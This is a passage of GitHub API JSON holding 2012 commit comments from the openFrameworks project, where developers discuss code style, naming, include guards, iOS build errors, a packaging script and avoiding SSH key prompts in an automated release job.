guess I just prefer putting everything into the if/else cases instead of relying on tricky fall-throughs or ifs without elses - I think it makes the logic structure clearer. E.g. (if I understand the desired result correctly) I would put L96 into an else of the `if(grabber!=NULL)` statement. Then you'll probably need L96 once more (and a return true) in an else of `if(!grabber->setPixelFormat()`, but the logical tree would be more clear imo. As a benefit, you wouldn't set `internalPixelFormat` twice (I know that op is probably not very expensive, but still...)."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1794625","html_url":"https://github.com/openframeworks/openFrameworks/commit/f24a98175c0a5814383c11686a5143a310089ab0#commitcomment-1794625","id":1794625,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":4,"line":68,"path":"libs/openFrameworks/gl/ofTexture.h","commit_id":"f24a98175c0a5814383c11686a5143a310089ab0","created_at":"2012-08-31T17:05:13Z","updated_at":"2012-08-31T17:06:30Z","body":"@ofTheo isn't `bExternalTextureID` a strange name? I would expect this to contain a Texture ID, not a boolean (if not for the `b` prefix). Maybe `bUseExternalTextureID` would be better?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1864693","html_url":"https://github.com/openframeworks/openFrameworks/commit/7318035cf93447fd09e19fe92baac744dd3e048d#commitcomment-1864693","id":1864693,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"7318035cf93447fd09e19fe92baac744dd3e048d","created_at":"2012-09-17T16:15:36Z","updated_at":"2012-09-17T16:15:47Z","body":"@arturoc: If you multiply-include `gst.h`, wouldn't it be good to add some include guards, so that we don't include it several times, driving up compilation/linking times?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1904469","html_url":"https://github.com/openframeworks/openFrameworks/commit/33933ef7705f6fdbda602176209498e91b7a7eb5#commitcomment-1904469","id":1904469,"user":{"login":"roymacdonald","id":974878,"avatar_url":"https://secure.gravatar.com/avatar/fe632ca3d0c42747cfef88a95d942c4a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"fe632ca3d0c42747cfef88a95d942c4a","url":"https://api.github.com/users/roymacdonald","html_url":"https://github.com/roymacdonald","followers_url":"https://api.github.com/users/roymacdonald/followers","following_url":"https://api.github.com/users/roymacdonald/following{/other_user}","gists_url":"https://api.github.com/users/roymacdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/roymacdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/roymacdonald/subscriptions","organizations_url":"https://api.github.com/users/roymacdonald/orgs","repos_url":"https://api.github.com/users/roymacdonald/repos","events_url":"https://api.github.com/users/roymacdonald/events{/privacy}","received_events_url":"https://api.github.com/users/roymacdonald/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"33933ef7705f6fdbda602176209498e91b7a7eb5","created_at":"2012-09-25T21:21:40Z","updated_at":"2012-09-25T21:21:40Z","body":"this commit is causing trouble with iOS. \nI get error \"use of undeclared identifier\" for GL_DEPTH_COMPONENT32, GL_DEPTH_COMPONENT16, GL_DEPTH_COMPONENT24, GL_DEPTH_COMPONENT\n\nI just commented this lines to make it compile. I'm not sure what would be the correct way to fix this.\n\n\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1904841","html_url":"https://github.com/openframeworks/openFrameworks/commit/33933ef7705f6fdbda602176209498e91b7a7eb5#commitcomment-1904841","id":1904841,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"33933ef7705f6fdbda602176209498e91b7a7eb5","created_at":"2012-09-25T22:52:56Z","updated_at":"2012-09-25T22:52:56Z","body":"sorry, it's fixed now"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1905260","html_url":"https://github.com/openframeworks/openFrameworks/commit/fecd4402a5b6641c0f34dd3c0f1a8af6f78a4db5#commitcomment-1905260","id":1905260,"user":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following{/other_user}","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"fecd4402a5b6641c0f34dd3c0f1a8af6f78a4db5","created_at":"2012-09-26T01:00:45Z","updated_at":"2012-09-26T01:00:45Z","body":"my previous commit, from windows, seemed to have bad endings, so I'm fixing here. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1952334","html_url":"https://github.com/openframeworks/openFrameworks/commit/ab0c6cdb8abdf54363145dd7210fb7c75675de0b#commitcomment-1952334","id":1952334,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"ab0c6cdb8abdf54363145dd7210fb7c75675de0b","created_at":"2012-10-05T12:33:53Z","updated_at":"2012-10-05T12:33:53Z","body":"nice catch. never realized/noticed those were there, otherwise I'd have removed them already."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1956940","html_url":"https://github.com/openframeworks/openFrameworks/commit/f85516ba601e7c48e87b81f85bc70259c8e3a05f#commitcomment-1956940","id":1956940,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"f85516ba601e7c48e87b81f85bc70259c8e3a05f","created_at":"2012-10-06T15:54:00Z","updated_at":"2012-10-06T15:55:04Z","body":"@ofTheo was there a mistake? why do we now have `/apps/devApps/projectGenerator` **and** `/apps/projectGenerator/projectGeneratorsSimple`? That looks fishy to me.\r\nShouldn't this be in `/apps/devApps/projectGeneratorSimple`, beside the regular PG?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1959962","html_url":"https://github.com/openframeworks/openFrameworks/commit/6ccf10c80ee5ad6fc90d4f115a3895bd2ae4313f#commitcomment-1959962","id":1959962,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"6ccf10c80ee5ad6fc90d4f115a3895bd2ae4313f","created_at":"2012-10-08T07:34:11Z","updated_at":"2012-10-08T07:34:11Z","body":"Awesome work everyone, it's beautiful!"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1959978","html_url":"https://github.com/openframeworks/openFrameworks/commit/6ccf10c80ee5ad6fc90d4f115a3895bd2ae4313f#commitcomment-1959978","id":1959978,"user":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following{/other_user}","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"6ccf10c80ee5ad6fc90d4f115a3895bd2ae4313f","created_at":"2012-10-08T07:39:50Z","updated_at":"2012-10-08T07:39:50Z","body":"very nice!"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1960788","html_url":"https://github.com/openframeworks/openFrameworks/commit/6ccf10c80ee5ad6fc90d4f115a3895bd2ae4313f#commitcomment-1960788","id":1960788,"user":{"login":"mactkg","id":178418,"avatar_url":"https://secure.gravatar.com/avatar/53cf99572b928b1d780d1d816d758710?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"53cf99572b928b1d780d1d816d758710","url":"https://api.github.com/users/mactkg","html_url":"https://github.com/mactkg","followers_url":"https://api.github.com/users/mactkg/followers","following_url":"https://api.github.com/users/mactkg/following{/other_user}","gists_url":"https://api.github.com/users/mactkg/gists{/gist_id}","starred_url":"https://api.github.com/users/mactkg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mactkg/subscriptions","organizations_url":"https://api.github.com/users/mactkg/orgs","repos_url":"https://api.github.com/users/mactkg/repos","events_url":"https://api.github.com/users/mactkg/events{/privacy}","received_events_url":"https://api.github.com/users/mactkg/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"6ccf10c80ee5ad6fc90d4f115a3895bd2ae4313f","created_at":"2012-10-08T10:30:49Z","updated_at":"2012-10-08T10:30:49Z","body":":heart:"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1962717","html_url":"https://github.com/openframeworks/openFrameworks/commit/6ccf10c80ee5ad6fc90d4f115a3895bd2ae4313f#commitcomment-1962717","id":1962717,"user":{"login":"grayfuse","id":115113,"avatar_url":"https://secure.gravatar.com/avatar/ce105802feaa5e39e55a643a259e0070?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"ce105802feaa5e39e55a643a259e0070","url":"https://api.github.com/users/grayfuse","html_url":"https://github.com/grayfuse","followers_url":"https://api.github.com/users/grayfuse/followers","following_url":"https://api.github.com/users/grayfuse/following{/other_user}","gists_url":"https://api.github.com/users/grayfuse/gists{/gist_id}","starred_url":"https://api.github.com/users/grayfuse/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/grayfuse/subscriptions","organizations_url":"https://api.github.com/users/grayfuse/orgs","repos_url":"https://api.github.com/users/grayfuse/repos","events_url":"https://api.github.com/users/grayfuse/events{/privacy}","received_events_url":"https://api.github.com/users/grayfuse/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"6ccf10c80ee5ad6fc90d4f115a3895bd2ae4313f","created_at":"2012-10-08T16:27:35Z","updated_at":"2012-10-08T16:27:35Z","body":"Looking very nice indeed!"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1965887","html_url":"https://github.com/openframeworks/openFrameworks/commit/6ccf10c80ee5ad6fc90d4f115a3895bd2ae4313f#commitcomment-1965887","id":1965887,"user":{"login":"borg","id":203895,"avatar_url":"https://secure.gravatar.com/avatar/46312137eb0583790943eb4c17ea04cc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"46312137eb0583790943eb4c17ea04cc","url":"https://api.github.com/users/borg","html_url":"https://github.com/borg","followers_url":"https://api.github.com/users/borg/followers","following_url":"https://api.github.com/users/borg/following{/other_user}","gists_url":"https://api.github.com/users/borg/gists{/gist_id}","starred_url":"https://api.github.com/users/borg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/borg/subscriptions","organizations_url":"https://api.github.com/users/borg/orgs","repos_url":"https://api.github.com/users/borg/repos","events_url":"https://api.github.com/users/borg/events{/privacy}","received_events_url":"https://api.github.com/users/borg/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"6ccf10c80ee5ad6fc90d4f115a3895bd2ae4313f","created_at":"2012-10-09T06:50:01Z","updated_at":"2012-10-09T06:50:01Z","body":"Early xmas!"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1973901","html_url":"https://github.com/openframeworks/openFrameworks/commit/a9018697bbc35a8fafa8a36ee0a0f36861f87a99#commitcomment-1973901","id":1973901,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":15,"line":67,"path":"scripts/dev/create_package.sh","commit_id":"a9018697bbc35a8fafa8a36ee0a0f36861f87a99","created_at":"2012-10-10T13:11:34Z","updated_at":"2012-10-10T13:11:42Z","body":"@arturoc I think you should `git checkout master` before this line. otherwise, if the user had checked out a different branch, master would be merged into that one."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1973970","html_url":"https://github.com/openframeworks/openFrameworks/commit/a9018697bbc35a8fafa8a36ee0a0f36861f87a99#commitcomment-1973970","id":1973970,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":15,"line":67,"path":"scripts/dev/create_package.sh","commit_id":"a9018697bbc35a8fafa8a36ee0a0f36861f87a99","created_at":"2012-10-10T13:20:23Z","updated_at":"2012-10-10T13:20:23Z","body":"oh, yes thanks"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1975124","html_url":"https://github.com/openframeworks/openFrameworks/commit/05aa5663ef581d449a6b7de986aebde671d1a927#commitcomment-1975124","id":1975124,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"05aa5663ef581d449a6b7de986aebde671d1a927","created_at":"2012-10-10T15:54:59Z","updated_at":"2012-10-10T15:54:59Z","body":"you should not have to do that - this is a read-only link, if you only want to pull you shouldn't need a key!"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1975138","html_url":"https://github.com/openframeworks/openFrameworks/commit/ba732ccd2c7d0a287ef90539b4f6374c5b49e642#commitcomment-1975138","id":1975138,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":5,"line":8,"path":"scripts/dev/create_package.sh","commit_id":"ba732ccd2c7d0a287ef90539b4f6374c5b49e642","created_at":"2012-10-10T15:57:27Z","updated_at":"2012-10-10T16:00:22Z","body":"no .git suffix needed here? cf. the PG-S link 5 lines down."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1975144","html_url":"https://github.com/openframeworks/openFrameworks/commit/05aa5663ef581d449a6b7de986aebde671d1a927#commitcomment-1975144","id":1975144,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"05aa5663ef581d449a6b7de986aebde671d1a927","created_at":"2012-10-10T15:58:21Z","updated_at":"2012-10-10T15:58:21Z","body":"where do you have problems with that link?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1975199","html_url":"https://github.com/openframeworks/openFrameworks/commit/05aa5663ef581d449a6b7de986aebde671d1a927#commitcomment-1975199","id":1975199,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"05aa5663ef581d449a6b7de986aebde671d1a927","created_at":"2012-10-10T16:08:39Z","updated_at":"2012-10-10T16:08:39Z","body":"yes, but if there's a key the server keeps asking for the key password whenever i run the release script so i can't fully automate it unless i switch to https"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1975235","html_url":"https://github.com/openframeworks/openFrameworks/commit/05aa5663ef581d449a6b7de986aebde671d1a927#commitcomment-1975235","id":1975235,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"05aa5663ef581d449a6b7de986aebde671d1a927","created_at":"2012-10-10T16:15:32Z","updated_at":"2012-10-10T16:15:32Z","body":"On my phone currently but apparently ssh-agent is the solution: http://stackoverflow.com/questions/6265595/how-can-i-peform-a-git-pull-without-re-entering-my-ssh-password"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1975241","html_url":"https://github.com/openframeworks/openFrameworks/commit/05aa5663ef581d449a6b7de986aebde671d1a927#commitcomment-1975241","id":1975241,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"05aa5663ef581d449a6b7de986aebde671d1a927","created_at":"2012-10-10T16:17:05Z","updated_at":"2012-10-10T16:17:05Z","body":"Will check later if there's a git way to do that."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1975247","html_url":"https://github.com/openframeworks/openFrameworks/commit/05aa5663ef581d449a6b7de986aebde671d1a927#commitcomment-1975247","id":1975247,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"05aa5663ef581d449a6b7de986aebde671d1a927","created_at":"2012-10-10T16:18:50Z","updated_at":"2012-10-10T16:18:50Z","body":"yes there is but i don't want to enter the password even once since this is going to be run through a cron 